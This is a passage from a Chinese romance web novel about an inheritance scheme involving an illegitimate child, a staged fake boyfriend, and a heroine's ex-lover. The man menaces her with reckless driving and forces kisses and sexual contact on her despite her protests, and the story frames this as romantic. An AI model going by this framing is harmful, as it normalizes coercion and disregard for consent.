宋清殊:“三叔,这份亲子鉴定您来做说明不了什么,跟您有亲缘关系也说明不了什么。”
陆三叔板起脸来:“别以为我不知道你打的什么主意。无非就是怕大哥多一个孩子,你拿到陆家家产的份额就少一些。
宋清殊,你不是陆家人,能在陆家分一杯羹,已经是大哥大嫂仁义,不要太贪心。”
宋清殊笑了一下。
“笑什么?”
“我笑我什么都没说,三叔先把自己心思说透了。”宋清殊笑容放大,“三叔此行的目的是,让这个孩子进陆家,跟展展分家产咯?”
她逻辑缜密,又是个不怕事的,对线起来,逼得陆三叔毫无招架之力。
身后的陆枭显然有话要说,几次要向前,被陈南枝死死按住。
陈南枝躲在陆三叔身后,楚楚可怜,等他替自己出头。
盛熙川环抱双臂,没事人一样看热闹,打量了陈南枝好几眼。
陆三叔恼羞成怒:“是又怎么样!陆枭是陆家人,理应分一杯羹!总比把钱落到你们两个外人手里要好!”
他不敢推宋清殊,毕竟盛熙川跟一尊佛一样在旁边站着。
他推莫兰溪。
莫兰溪也不是吃素的,猛推了陆三叔一把,喝道:“长瑜总,你这样,会让人觉得这个孩子是你的种,你在觊觎陆总家业!”
“胡说八道!”
陆三叔气急败坏,抬手就要打莫兰溪。
宋清殊扯他手臂:“有什么事冲我来、”
这时,一旁看戏的盛熙川才淡淡开口,不过不是对陆三叔,而是对陈南枝。
“陈南枝,没记错的话,你跟我们盛家是不是沾点亲戚?”
第192章 太岁符
在陆三叔身后一直没说话的陈南枝,脸色变了变。
她先把陆枭护在身后,又对盛熙川道:“我和令堂是堂姐妹,就是好些年没有聚聚了。”
还有这层关系?
众人看向陈南枝。
她说的“令堂”自然不可能是舒颜,宋清殊想,难怪看她神情眼熟,那种窝囊又爱搞事情的劲儿,和一边做小伏低,一边又很拿自己当个人物的模样,原来像现在的盛夫人。
盛熙川讥讽一笑:“你说陈婉容啊?我可没有承认过她的身份,她在我们盛家充其量算个大管家。”
陈南枝的神色一时间变得更难看。
“她进盛家付出了什么代价,你是知道的吧?”盛熙川淡声问。
这件事知道的人不多,宋清殊也只知道她被舒颜摘了子宫。
事实上,在舒颜发现了陈婉容和盛司令有瓜葛之后,不仅摘了她的子宫,还把她扔进了男子监狱里,三天。
那时候舒颜全家被灭门,正是发疯没有人敢拦的时候。
陈婉容从监狱里出来,只剩一口气,盛司令将她娶回家,也是为了堵她的嘴。
但两人结婚后就再也没有夫妻生活了。
在场的几个人不知道,但陈南枝应该是知情,因为她嘴唇哆嗦了两下。
盛熙川走近她一点,笑了笑:“你先回去,有什么事过了十五再说。”
他看上去温和地跟她打商量。
可谁都知道,盛小爷发话,哪里有商量余地?
陆三叔看陈南枝有退缩的苗头,强撑道:“盛小爷,这是我们陆家的事。”
盛熙川点头:“所以我没想插手。”
但他又看陈南枝,“你先回去,可以吗?”
陈南枝攥紧了身旁陆枭的手,又看向陆三叔:“长瑜,我们先走吧。有什么事,以后再说。”
她非常用力,陆枭被攥得眉头直皱。
陈南枝那个眼神简直是请求了。
陆三叔是替她们母子撑场面来的,此时竟然被架在了当场,里外不是人。
他不敢置信地看向陈南枝,后者眼神躲闪。
“陈小姐都这么说了,三叔不如行个方便。”宋清殊淡淡微笑。
陆三叔怒其不争,冷笑一声,气呼呼自行上车走了。
陈南枝带着陆枭环视几人,泫然欲泣。
“我知道,我和长林的关系是世俗不能容忍的,可孩子没有错……”
陆枭眼神凶狠,瞪着宋清殊。
宋清殊不看陆枭,看着陈南枝,并不被她的话迷惑。
“孩子当然没错,可如果有的选,你猜他愿不愿意有一个做小三的母亲,自己做私生子?”
这话说给陈南枝听,顺带着敲打了一下自己:珍珠如果有的选,她会不会不想做一个单亲家庭的小孩?
现在不是情绪化的时候,宋清殊让自己不要分心。
“你们不许欺负我妈妈!”陆枭红了眼,挣脱了陈南枝的手,冲过来猛地推了一把宋清殊。
盛熙川眼疾手快,扶住她的手臂。
隔着三层衣料,宋清殊依然感觉到了他掌心的热度,她稳了稳身形,不着痕迹地躲开他的碰触。
“你和莫助理带珍珠先进去。”盛熙川说,“我送她们母子回去。”
他给宋清殊一个安抚的眼神。
宋清殊点点头,要拉珍珠的手。
珍珠却跑到盛熙川腿边。
盛熙川以为她有话说,蹲下身来看她:“怎么?”
珍珠没说话,一双大眼睛盯着盛熙川看。
盛熙川便很有耐心地等着她:“是有什么事要告诉盛叔叔吗?”
珍珠摇头,又往前走了半步,好像是鼓足了勇气一般。
接着,她用肉乎乎的胳膊抱着盛熙川的脖子,踮脚亲了他的脸颊。
盛熙川的心都化了,他看着面前的小粉团子,怔了一下,不知该如何反应。
珍珠却已经转身跑开。
眼看着宋清殊和莫兰溪拉着珍珠的手进了陆宅,他这才缓缓站起身来,刚才脸上的温柔尽数收起。
“太晚了,不安全,不如,我送你们母子一程?”他看着陈南枝说,眼神里是一片冷。
宋清殊三人回去,也就走了五步远,便看到了等在门口的陆夫人和陆展。
想必她听了个大概。
陆夫人的眼眶有点红,陆展更是抿着唇不说话。
“干妈,我相信干爸不会出轨,
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这是阴谋。”宋清殊说。
陆夫人点点头:“当然,我也相信我先生。”
这件事不管是真是假,都只能是假的。
当晚,她们在陆家留宿。
宋清殊脱大衣的时候,在口袋里摸到一个东西。
她拿出来,是一个红色束口布袋,布袋里装着一个小小的香火袋和一个太岁符。
是了,陆夫人说她新一年犯太岁,是要去庙里拜一拜的。
宋清殊对国内的这些传统文化知之甚少,但也郑重地去查了查。
网上说,犯太岁主动荡,辛苦,波折较多。
会有生活环境,工作环境等方面的变化。
不用说,这个袋子是盛熙川放的。
只是,她身体实在迟钝,竟然不知道什么时候被塞了这个到口袋里。
宋清殊把那个太岁符收好,香火袋给了珍珠。
珍珠自然视若珍宝,当天压在了枕头底下,第二天回家便放在了她的小百宝箱里。
宋清殊一直觉得自己跟珍珠还是没有聊透,或许自己太拿她当大人了,觉得她聪明,能跟自己共情,便能接受没有父亲的生活。
她以己度人,如果陆先生在世,陆夫人跟她说不希望她跟陆先生来往,她是可以做到的。
可她到底是个心智健全的成年人,跟陆夫人感情又足够深厚。
珍珠再聪明,也只是个孩子,她能做到这样在盛熙川面前出现都不暴露自己,已经很厉害了。
得想个万全的办法,不能再这样下去。
陈南枝母子被拒在了陆宅门外,她们当然也没敢坐盛熙川的车。
盛熙川提议送她回去,她只低声说了句不用了,便拉着陆枭快步离开。
陆宅的大门很高,私家路很长,陈南枝牵着陆枭的手一步步往外走,咬着牙关。
“妈,你为什么插足别人的家庭?”陆枭突然问她。
陈南枝脚步顿住,有些无措地看着自己儿子。
她忍了一晚上没哭,此刻开始对陆枭掉眼泪。
“妈妈也是被骗了,枭儿。妈妈跟你爸在一起的时候,不知道他有家庭。”
她不承认自己的贪欲作祟,只说自己天真无知。
第193章 找个老外
陆枭倒是不全信陈南枝的话,但他想想刚才自己和母亲被拒之门外的模样,觉得异常**。
事已至此,自己的母亲是第三者,而自己是私生子这件事已经成了事实,再发泄情绪也没有什么用。
因此,他只是跟陈南枝叫嚷了几句,便又安生下来。
陈南枝好容易安抚住陆枭,将他先带回了家。
事实上,她对陆枭也说了谎。
陆枭的父亲不是陆先生,是陆二叔。
陆先生突然去世,死无对证,陆二叔正好不知道如何把这个孩子过明路,便想了个阴招,安到陆先生头上。
陆先生已经变成了一把骨灰,亲子鉴定也只能和陆展做,陆枭到底是他陆长鸣的种,是陆家的血脉,蒙混过关并不难。
陆先生和陆夫人向来夫妻恩爱,陆二叔原本以为陆夫人会因为这个突如其来的变故方寸大乱。
陆夫人乱阵脚的时候,他便能钻空子。
谁知,陆夫人反应迅速,不仅没有被陈南枝的出现吓得六神无主,反而没几天便在陆氏安插了自己人。
陆二叔这个举动,便有点打草惊蛇,搬了石头砸自己的脚的意思。
因此他很是憋了口恶气。
但反正陈南枝这个钩子已经埋下,他该用的时候,还是不会含糊。
至于陆三叔,对这件事并不知情。
他今天这一出,完全是被陆二叔当枪使了。
陈南枝带着陆枭找上门,陆三叔便看热闹不嫌事大,第一时间把人带去了陆宅,碰一鼻子灰。
回到家后,陈南枝辗转反侧。
除夕夜,她不方便去打扰陆二叔,毕竟他也正是合家团聚的时候。
第二天初一,她便跟他约在了一家私密的茶楼里。
“长鸣,这件事牵扯到了盛熙川,不能轻举妄动,要不就算了吧。”陈南枝低声请求。
陆二叔冷笑,伸手给了陈南枝一耳光。
陈南枝被打得匍匐在地,很久站不起身来。
随之,陆二叔起身,居高临下看着她:“废物,这点困难就受不了,还想让陆枭进陆家呢?”
“枭儿是你的儿子……”陈南枝嗫喏道,哭都不敢大声。
“你自己看着办吧,要不就听我的,按我说的行事,要么,我就给你一笔钱,你出国。”
权贵们打发女人最常用的方式就是送到国外去。
陈南枝年纪上来了,按照陆二叔对女人的品味,早在三十岁的时候就该送走了。是她有些做小伏低的本事,会哄人,又生了孩子,才捱到了四十多。
一听陆二叔这样说,陈南枝马上怕了。
她伸手抱住陆二叔的腿:“长鸣,别这样,需要我做什么,我听话就是。”
陆长鸣伸手按住陈南枝的头,眼里一片狠厉。
是他太低估了宋清殊,看来要给她添点麻烦才行。
与此同时,初一大早上宋清殊接到了楼珏的电话。
楼珏跟父母去庙里,请了太岁符,第一时间便想到了宋清殊,也请了一个给她。
不提还好,一提太岁符,宋清殊头都大了,她恰好要楼珏拿主意。
两人也约在了那家茶楼。
初一上午茶楼门可罗雀,大厅更是一个客人都没有。她们便没有去二楼包厢,就在一楼大厅找了个角落。
宋清殊一坐下,茶没喝几口,先说了珍珠的事。
盛熙川是什么人,他没觉得不妥无非是对珍珠没防备,如果想查,没有查不出来的。
最主要是珍珠对这个爸爸的认可度太高,宋清殊觉得她快压不住了。
她实在苦恼,昨晚觉都没有睡好,一闭眼就是盛熙川要跟她抢孩子。
“虽说他现在对这件事完全没有怀疑,可珍珠天天刀尖上跳舞,总有一天要露馅的,这样的话,我都不知道该怎么收场。”
楼珏道:“你错了,他不表示怀疑,很可能是在没有充足的证据前打草惊蛇。”
毕竟,苏白明里暗里试探过她许多回,她装傻才混过去。
楼珏说,苏白神经这样大条的人都警觉了,大概率是盛熙川已经开始查了。
楼珏向来是宋清殊最有效的安慰剂,这次例外。
两人聊完,宋清殊更加胆战心惊,认识到了事情的严重性。
“实在不行就先说出来吧,说出来,主动权还掌握在你手里。要是不说,等盛熙川自己发现,会发生什么就不好说了。”楼珏说。
宋清殊退缩:“我先想想。”
楼珏知道她怕什么,无非是怕当年她假流产“栽赃”舒颜的事败露。
于是认真跟她分析:“其实也不算栽赃,你当时只是将计就计,脱身而已。
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毕竟那些人的确是舒颜和她那个奸夫找来害你的,说不定盛熙川还要感谢你保全了孩子。
至于你怕盛熙川借着珍珠的名号纠缠你,更没必要。毕竟,他想做什么,根本不怕师出无名。”
……有道理。
别人说宋清殊或许不会听,可楼珏说,她真的动摇了。
可她还要给自己寻个退路。
她又想了想,十分钟内迅速做出了决定:先落实“朱小明”这个人,再告诉盛熙川珍珠的身份。
孩子可以两边走动,可她已经恋爱或者干脆假订婚,多少会给盛熙川增加点难度。
说不定他就妥协了。
“阿珏,你认识比较靠谱的老外吗?”宋清殊问,“要帅一点,会不会中文都没关系,可以接受中文名字叫朱小明。”
楼珏???
她错过了什么?她们的话题是怎么从珍珠的身世过渡到这上面的?
可以接受叫朱小明是什么鬼!
宋清殊这才想起自己竟然还没跟楼珏分享这位叫“朱小明”的虚拟男友。
于是,她便把自己设定的人物小传讲给楼珏听,如今又过了一段日子,她的小传更完善了,甚至包含了两人相遇到相爱的故事。
楼珏听得目瞪口呆。
“你适合去写小说,我现在都觉得世界上真有这么个人了。”她最后点评。
楼珏常年去国外出差,找这么个人出来不算难事。
她在记忆里搜索了一下:“还真有个合适的,叫阿诺,是个法国人,恰好有来这边发展的计划。不过……”
她稍微纠结了一下,“他的职业怕是你不太能接受。”
宋清殊用眼神打了个问号。
楼珏说,那男人是男模,不过不是在会所上班,是在富婆圈里小范围流转的。
她认识他不过两年,已经看到他跟过三个富婆了。
浪漫,帅气,除了法语外,会英文和中文,可以为钱出卖很多东西,简直完美。
宋清殊听得两眼放光:“别的不重要,他原来的金主是哪国人?”
听楼珏说金主里没有同胞后,宋清殊彻底放心下来。
两人正聊着,宋清殊话说到一半,突然闭了嘴。
她的眼神,引得楼珏缓缓转过头去,两人便看到了一前一后从楼上走下来的陆二叔和陈南枝。
第194章 发泄
宋清殊和楼珏坐的位置,旁边摆了一株巨大的龟背竹,叶子足足有人的手臂那样长,恰好把两人挡住,陆二叔和陈南枝倒是没有发现她们。
“那不是陆家二叔吗?”楼珏轻声说,“这女人是谁?”
宋清殊:“陈南枝,盛夫人堂妹。”
她没提陆先生凭空冒出个私生子的事,毕竟这件事关乎陆夫人的脸面和隐私。
“这两人有一腿吧。”楼珏评价。
宋清殊猛然坐直了身子:“怎么看出来的?”
楼珏:“直觉,你看陈南枝看着特别委屈,盯着陆二叔后背的眼神都拉丝。”
陈南枝委屈是常态,宋清殊每次见她,都觉得她要死不活委委屈屈。
她又看了一眼,此时,两人已经走到了门口,陆二叔开门,陈南枝贴着他手臂走出去,很自然。
她和陆三叔可没有这么近。
楼珏这句话和两人的举动莫名点醒了宋清殊。
不管是陆夫人,还是她和莫兰溪,虽然嘴上都在说相信陆先生的人品,但这也不过是为了不去做亲子鉴定的借口。
自始至终她们都在防守,从未主动出击过。
潜意识里,她们都是不相信陆先生的。
可陈南枝和她那个孩子,未必就不是陆二叔和陆三叔的阴谋,赌的就是死无对证。
思路一打开,宋清殊瞬间觉得这件事也有了眉目,眼前都豁亮了。
跟楼珏喝了一早上茶,解决了两件心头大事,宋清殊觉得轻松。
她们的话题又回到了那个叫阿诺的法国男模身上。
阿诺能在富婆之间流转,起码情商很高,而且他之前服务的不是国人,不容易被盛熙川背调。
退一万步讲,真的查出来,宋清殊被冠上“包男模”的恶名,盛熙川应该对她也就没什么执念了。
宋清殊要楼珏帮忙跟阿诺取得联系。
楼珏答应归答应,依然有些心惊胆战,玩笑道:“我真怕被盛熙川以拉皮条的名义灭口。”
嘴上这么说着,可行动却很快,没几天便把阿诺带来了。
宋清殊看了看本人。
阿诺有金棕色的头发,一双深情的蓝眼睛,修剪整齐的小胡子,衣品也好,符合她对法国帅哥的刻板印象。
她给的多,指令又准确,阿诺自然非常乐意合作。
找到了合适的人,下一步就是让盛熙川知情。
宋清殊的朋友圈一直对他是关闭状态,突然开放了再发一条秀恩爱的状态显然不合适。
她想了想,还得要楼珏打配合。
没几天,恰逢上京举办一次大型的珠宝展。
宋清殊便约了阿诺过去。
两人在展会上漫无目的地逛了一个多小时,之后,由阿诺付钱,替宋清殊选了一块帝王绿的无事牌,很贵,水头好得堪比风油精。
两人坐在展位处喝茶,等店家去开票。
也就是这个时候,“偶遇”了同来逛展的楼珏和苏白。
苏白惊讶地张大了嘴巴,又迅速合上。
他像是发现了兄弟老婆和别人的**一般,比当事人还不好意思,拉了楼珏就往别处走。
楼珏此时正在看手机,不明所以:“怎么了,去前面看看玉呀。”
说话间,她抬头,便对上了宋清殊的眼睛。
两人互相给了对方一个眼神。
“小宝,以为你没空来,就没约你,没想到你也在啊。”楼珏强撑着表演。
宋清殊带着阿诺站起来,跟楼珏和苏白打招呼。
“这就是我跟你说的那位。”宋清殊扯了阿诺的手臂对楼珏介绍,意有所指地眨了一下眼睛。
苏白在当场石化了,脸色很难看。
宋清殊和楼珏聊了两句,苏白在一旁一句话都说不出来。
他原本还告诉盛熙川这里的货品不错,他可以过来看看,挑点东西送宋清殊,这下搞砸了。
希望他有事来不了吧。苏白默默祈祷。
他给盛熙川发微信:【你先别来了,我仔细看了看,也没有什么好东西】
盛熙川:【晚了】
苏白四处看,便看到了隔着两三个展位处,盛熙川那双悲伤的眼睛。
他那样高大,颜值跟周围的人简直不是一个画风,情绪也不是。
熙熙攘攘的人群里,属他最悲伤。
他和他周围的一小块世界,仿佛褪成了黑白色。
苏白心疼得直皱眉。
“不逛了
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,先回家。”他向来好脾气,这次拉了楼珏的手就要走,楼珏挣脱了几次都没有挣开。
路上,苏白把车开得飞快,分明在赌气。
楼珏盯着他的侧脸看了会儿,在心里叹息。
“你是故意的对不对?就是要我看到宋清殊和她那个男朋友。”苏白终于问。
楼珏“嗯”了一声,“她有自己的人生,你该劝劝盛熙川,不要再打扰她。”
因为这件事,苏白跟楼珏生了好几天的气。
宋清殊没看到盛熙川,票开好后,阿诺将那块无事牌替她戴上。
两人一同离开会场。
回去的路上,宋清殊开车,她好好地行驶在路上,被一辆突然出现的右侧车道的幻影甩了一车头的泥点子。
这几天上京下了好几次的雪,虽然有人打扫,但路面依然湿漉漉的,那辆车大声轰鸣,又压着线开,有那么一瞬间几乎要把副驾上的阿诺撞死。
宋清殊打开雨刷器,给了一脚油门。
可那辆车紧追不放,有那么几次,他们的后视镜几乎贴在一起。
阿诺这样情绪稳定的人,都忍不住低呼了一声。
那辆幻影随行了几公里,之后,遇到一个大水坑,完全超车后,又是一个有力地甩尾。
也就是这次,宋清殊看到了他的车牌。
其实不用看,这样的手段盛熙川不是第一次了,那次他更任性,直接撞了霍宗辞的车。
宋清殊按了几下喇叭,降下车窗。
此时,那辆幻影已经扬长而去。
显然,他并不想撞她的车,只想给她一些心理上的压迫感。
他做到了。
阿诺心有余悸:“他是疯了吗?”
宋清殊勾唇:“不用管,毕竟目的达到了。”
只是可怜她新洗的车,又要送去洗车场。
逛完展会,任务完成,宋清殊又去陆氏处理了一会儿工作。
此时,员工们的春节假期还没结束,陆氏大楼空荡荡的。
她忙完已经是晚上,路过甜品店,替珍珠买了一个雪媚娘回家。
电梯门打开时,宋清殊嗅到了一丝若有似无的松木气息,混杂着烟草味。
她心里警铃大作。
第195章 旧屋失火
发现了门口的异常,宋清殊的第一反应是珍珠在家里,不能被发现。
按照她的规划,盛熙川见到“朱小明”死心后,下一步可以知道珍珠的身世。
但不能是同一天,这太快了,没给她准备的时间。
出了电梯,宋清殊谨慎环顾四周。
还好,没人。
或许盛熙川来过又走了。
她将手放在指纹锁上,还没开门,从旁边楼梯间走出一个身影。
她被扯着手臂一带,压到了身旁的墙上。
烟草气,酒气,混杂着冷冽的松木气息,钻进宋清殊的鼻腔。
不知道盛熙川喝了多少酒,他掰着她的脸,让她不得不直视他。
宋清殊看到了他猩红的眼睛。
她从来没有看到过盛熙川这样凶狠的一面。
他像一头狼,狠狠盯着本该属于自己的猎物。
宋清殊不自觉地吞了一下口水:“盛……唔!”
盛熙川的唇强势地落下来时,她的头脑顿时一片空白。
毫无章法,长驱直入的吻,两人的牙齿撞在一起,震得宋清殊半边脸都在疼。
她挣扎不开,下唇被盛熙川咬住,接着被撬开牙关。
她听到了自己的心跳声,一下一下,无比清晰。
这个吻原本是带着惩罚性质的,两人发了狠地咬对方,唇齿间蔓延着铁锈味,也不知是谁先沉浸,突然间就温柔了下来。
盛熙川一手掐着她的腰,一手托着她的下巴,拼命地索取着。
他开始照顾她的感受,希望她能从中获取一点疼痛之外的趣味。
宋清殊腿软。
要命的生理反应,原以为空窗四年,她已经忘了这档子事!
她的脸红透了,揪紧盛熙川的衬衫。
压抑的喘息声纠缠在一起。
幸好高档小区的隔音够好,不然她的珍珠听见门外的声音像什么样子!
宋清殊想着,脑子已经开始混沌。
盛熙川亲着她,一点点挪到门边去。
“宝贝,开门。”他低声诱惑她。
宋清殊猛地从绮梦中惊醒,她推了他一把。
盛熙川不防备,竟然真的退后了一步。
隔着一步距离,他低头审视着眼前人,一张红透的脸,含水量过分的眼睛,分明就是被挑起了欲望无法纾解的模样。
燥郁了一天的心突然就平静了下来。
生理反应骗不了人,她还需要他。
这就够了。
是他做错了事,才让她从他身边逃开。
所以,这四年她身边有过谁,他没有资格过问,哪怕她跟别人发生过什么,这惩罚也是他该得的。
只要她还不抗拒他,他就还有机会。
宋清殊不知道盛熙川想什么,心跳如鼓,她极力平息着自己。
“你走,盛熙川。”她开口的时候,已经极力在克制自己的喘。
“不走。”盛熙川又凑过来,含住她的耳垂。
他太知道她的开关在哪里。
宋清殊无声反抗,膝盖往上一顶,竟然被他预判,用腿夹住。
于是,两人维持着这样怪异的姿势。
“放开。”宋清殊要恼。
盛熙川反而冷静了下来,他一天的怒火泄得差不多了,竟然还能低笑出声。
“宝贝,看来老外还是不行,不知道怎么喂饱你。”
宋清殊简直要被他的轻薄激怒。
“盛熙川,你神经病!”她压着嗓子骂他,又开始推搡。
可两人体型差太大,她怎么闹,也只能被他死死压在怀里,毫无招架之力。
盛熙川不问她跟那个老外发展到哪一步了,他没有受虐倾向,给自己鲜血淋漓的心脏再来一刀。
不管,她只能是他的。前面怎么样,他都可以不过问。
“跟他分手,他要什么,我都可以给。”盛熙川说。
她脖子上还戴着那块帝王绿的无事牌,盛熙川看着碍眼,扯下来,往对面墙上一扔。
玉牌发出清脆的声响,碎了。
那是她真金白银买的,宋清殊已经顾不得心痛,这么大的声响,保姆一定会开门查看。
她扯了盛熙川,往楼梯间一闪。
果然听到了开门声和脚步声。
应该是保姆出来看到了那块玉牌。
楼梯间的声控灯亮了又灭,此时漆黑一片。
在黑暗里,盛熙川抱着她,他的手作乱,探进了她
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的牛仔裤里。
事情在往不受控制的方向发展,宋清殊循规蹈矩了二十多年,从来没想过会有一天在这样的地方。
她不敢呼救,怕珍珠从家里冲出来。
她的手抓紧盛熙川的手臂,腿软得站不住。
盛熙川的服务意识一直很强,她人性最底层的东西被挑起,旧屋失火,浇不灭。
结束时,盛熙川打了个响指,声控灯亮起。
宋清殊靠在墙站稳,脸红透了,嘴唇微张,小口喘着气。
下唇被自己咬出一个深深的齿痕,她的头发也不知何时散开,真丝衬衫下摆皱成一团。
她看不到自己的模样,只知道自己很狼狈,又看到盛熙川依然衣冠楚楚没一处不妥。
情绪涌沸,她抬手给了盛熙川一个耳光。
很用力,他的脸迅速红了起来。
盛熙川不躲,又把另一半脸凑过去:“这边也要。”
“你混蛋。”宋清殊没打,眼窝里有泪意,要哭。
盛熙川这下才慌了,手忙脚乱又把人抱起来,坐在楼梯上哄。
宋清殊挣扎,可她的力气在他眼里不值一提。
“我混蛋,我不好。”他抓了她的手,又打了自己另一边脸一下,“不解气的话,多打几下。”
宋清殊只是哭,那只手无力地垂下去。
“我躲了你四年,盛熙川,这四年为了不跟你有瓜葛,我去了一个谁也找不到的地方。”她开口还带着哭腔。
“当初我愿意联姻,就是不想过举目无亲的日子了,一个人被流放在国外有多苦,你知道吗?
可为了躲你,我又过了四年这样的日子。”
盛熙川没作声,抱着她的手臂收紧,好像要把眼前人揉进自己身体里。
“要不是干爸去世,干妈需要我,我是不会回来的。现在我没办法,进退维谷。”
宋清殊这番话,本就是说给盛熙川听的,有表演痕迹,只是没想到越说越委屈,她的眼泪一颗颗往下滚,砸在他的手背上。
盛熙川心如刀绞。
“你非要这样吗?你这样逼我,只会让我的生存空间变得更窄。
盛熙川,你是不是想逼死我。”
第196章 激素作乱
宋清殊的哭演的成分更多。
毕竟她在花都的这四年并没有那么惨,起码比在国外的八年幸福感强太多。
且不说楼珏和陆夫人总去看她,单说有珍珠的存在,她就不孤独。
这四年,她把失控的情绪一点点拉回正轨,把过去的自己也做了一个彻底的疗愈。
她哭,不过是为了解决眼前的麻烦。
谁知,这一哭,多日来的压抑和纠结涌上心头,竟然有点停不下来的意思。
盛熙川抱着她,用手背替她擦眼泪。
这眼泪越擦越多,他的心也跟着湿漉漉的。
“不是要逼你,我只是……”
只是没有你的日子实在是熬不住了。
后半段话盛熙川没说。
他心里下起暴雨,呼吸的每一口空气都带着疼。
宋清殊哭了有足足十分钟,才终于停下。
从盛熙川的怀抱里起身,才发现他的半截袖管都是湿的。
“我不逼你,我们慢慢来,宝贝。”盛熙川依旧维持着坐在台阶上的姿势,抬头看她。
他的声音很小很轻,似乎生怕吓到她。
宋清殊此刻什么也听不进去,眼神里都是抗拒。
她情绪很激动:“你听不懂吗,盛熙川。没有慢慢来,我们再也没有可能了!”
盛熙川颓然垂眼。
此时,他的神情不再像狼,而像一只被遗弃的大狗,做了错事被主人赶出家门,连耳朵都耷了下来。
宋清殊身侧的手握紧,指甲猛掐手心。
她让自己不要过度脑补,更不要心疼他。
“求你,如果还记得过去的情分,就不要再打扰我的生活了。”她硬着心肠说。
之后,快速转身离开,一个眼神都不敢再给他。
进家后,宋清殊先去了自己房间。
她冲进浴室,看镜子里的自己。
头发凌乱,衬衫和裤子皱得不成样子。
因为哭过的缘故,眼睛鼻子都红红的,嘴唇有点肿,带着两个暧昧不明的齿痕。
她安静地听自己的心跳,直到耳朵也跟着红起来。
她洗澡,刻意把水开得很凉,试图用寒冷让纷乱的思绪静下来。
刚才盛熙川坐在台阶上看她的眼神,让她失控,想不顾一切扑进他怀里,吻他,回到他身边去。
不要一时冲动,她好好生活了四年,努力把孩子抚养大,让自己变得更好,这一切的苦心孤诣,不是为了让一切回到原点的。
微凉的水顺着皮肤的肌理蜿蜒而下,宋清殊在冷得打了个喷嚏后,依然没能从情绪里跳脱出来。
当晚,她又一次做了难以启齿的梦。
梦里不知是不是那个楼梯间,依然黑暗逼仄,宋清殊的心被高高吊起,又轻轻放下。
盛熙川一次给一点,却又不给满,她整个人的感官被悬在半空里,不上不下。
久旱的人苦苦等待甘霖的降临,甘霖来了,却只有一滴。
梦里的她不知羞,缠着求他。
他说:“回到我身边来,说你爱我。”
再之后,宋清殊就醒了,她也不知道自己在梦里有没有答应他。
身下不太对劲,床单有湿意,原来是情绪起伏太大,她的大姨妈提前了。
那昨晚的反应可不可以解读为激素作祟?
事实上,什么都没有发生,什么都不该变化。
隔了两天,宋清殊悬着的心又开始坦然。
盛熙川从那天起又一个多星期没出现过,哪怕元宵灯会的时候,宋清殊特地带阿诺去晃了一圈,不少世家子弟看见,他那边也没什么动静。
只不过,第二天他让人送了一个大箱子到陆氏,点名给宋清殊。
宋清殊以为又是洗护用品,也没当回事,随手放在了办公桌上。
临下班时打开,才被晃了眼。
大大小小的玉石珠宝,有上百件。
仅仅是帝王绿的无事牌,一双手都数不过来。
还有各式各样的镯子,老坑翡翠的就有几十个,两只手臂都戴不完。
以及一些小物件,翡翠扳指,平安扣,耳环之类。
就这样随便装在纸箱子里,底下也不过垫了两层气泡膜。
要不是气泡膜下还垫着厚厚的一摞鉴定证书,宋清殊简直要怀疑这些东西是小商品市场淘来的。
这时候莫兰溪正进门找她谈事情,看见一箱子玉器,也吃了一惊。
“你这是准备去天桥下摆摊吗?”她居然还冷幽默上了。
宋清殊面无表情:“盛熙川送的。”
莫兰溪圆了眼睛。
“……也就是说这都是真的?”
宋清殊:“盛熙川应该不会送假的吧。”
莫兰溪:“……这里面打眼看,没有低于6位数的东西
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。”
她小时候也过了几天好日子,对珠宝玉器有点研究。
又拿起一条通体翠绿的镯子,看得挪不开眼,“**的都不敢造这么绿,这一条至少9位数。”
宋清殊越听越头痛。
这么贵重的一箱东西,留在陆氏她都怕整个大楼失窃,可收是不能收的。
当天,宋清殊便发微信约了盛熙川吃午饭。
为了避免节外生枝,吃饭就约在负一层食堂,她将那个玉器箱子抱在手里,甚至特地坐了董事专梯下去。
因为约的临时,盛熙川20分钟之后才到。
期间,一个看上去跟莫兰溪年纪差不多大的女孩,过来跟她拼了个桌。
那女孩长了一张圆圆的脸,笑容甜美。
“漂亮姐姐,不介意我在你对面坐会儿吧?”她问。
来负一吃饭的都是陆氏的员工,宋清殊内心诧异她不认识自己,面上却很随和:“抱歉,我一会儿有个朋友要到。”
那女孩却还是大剌剌坐下来,对她笑得没心没肺:“我就一碗面,5分钟吃完。”
宋清殊看她的餐盘里,的确摆了一碗小面。
她不动声色地盯着手边的贵重财产,没有赶人。
那女孩很健谈,也不管宋清殊有没有在听,一碗面吃完就把她自己的老底交代完了。
她说自己叫童卉,是新来的实习生,在产品研发部。
又说感觉这边的技术人员都好厉害,相比之下自己太小白,很自卑。
还说喜欢陆氏的企业文化,觉得工作氛围也很好。
童卉说着,宋清殊便静静地听,适时地附和两句。
宋清殊听别人说话,不大听内容,更喜欢听用意。
她觉得,童卉很不对劲。
今天她来找她拼桌,一定有她的目的。毕竟虽然笑着,神态却并不松弛。
知道她是领导层,过来表忠心投诚?不太像。
套近乎,探听消息?可童卉对她并不好奇,全程反而自己一直在说。
童卉当然不止坐了5分钟,但盛熙川还没来,宋清殊也就没有让她走。
一直等盛熙川走进食堂大门,宋清殊远远看到,才对童卉道:“抱歉,我朋友来了。”
童卉这才站起身。
盛熙川来的时候,她刚转身离开。
“刚才那人,你认识?”盛熙川开口便问。
第197章 珍珠的身世
宋清殊摇头:“不认识,说是研发部的实习生。”
盛熙川在她对面落座,还没等她说玉器的事,自己反而欲言又止。
宋清殊点了几个小炒,此时菜端上来。
很多员工已经吃完往外走,不少同事的眼睛都落在盛熙川身上。
有认识他的,也有不认识的。
有知道他们旧事的,也有不知道的。
但他们有一个共识——
宋总对面的男人好帅,两人好般配。
一时间宋清殊和盛熙川共进午餐,又成了陆氏员工茶余饭后的谈资。
慢慢的,人都走的差不多了,盛熙川才开口:“我平白嘱咐一句,但愿是我多心了。”
宋清殊:“什么?”
盛熙川:“刚才跟你说话的人,是你们竞品公司宏文集团现任总裁的秘书,我上个月还在鑫昌看见了他们。”
宋清殊脑子略微转了转,便明白了其中的门道。
他们这个行业,在职期间会签一个保密协议,离职后三年内不得从事相关工作。
这位秘书上个月还在宏文,眼下就来了陆氏,还在核心的研发部,只能说明前公司没有约束,陆氏也没做好背调。
“那她今天来找我,应该就是营造一个跟我很熟的假象。”她说。
至于这个假象用来做什么,那能做的事可太多了。
比如打消别人对她的疑虑,比如,出了事更好地栽赃到宋清殊头上。
宋清殊的神色严肃了一瞬,又迅速温和下来。
“多谢你提醒我,这个信息对我很重要。”
盛熙川点头:“遇到什么问题,觉得我可以帮上忙的,尽管说。”
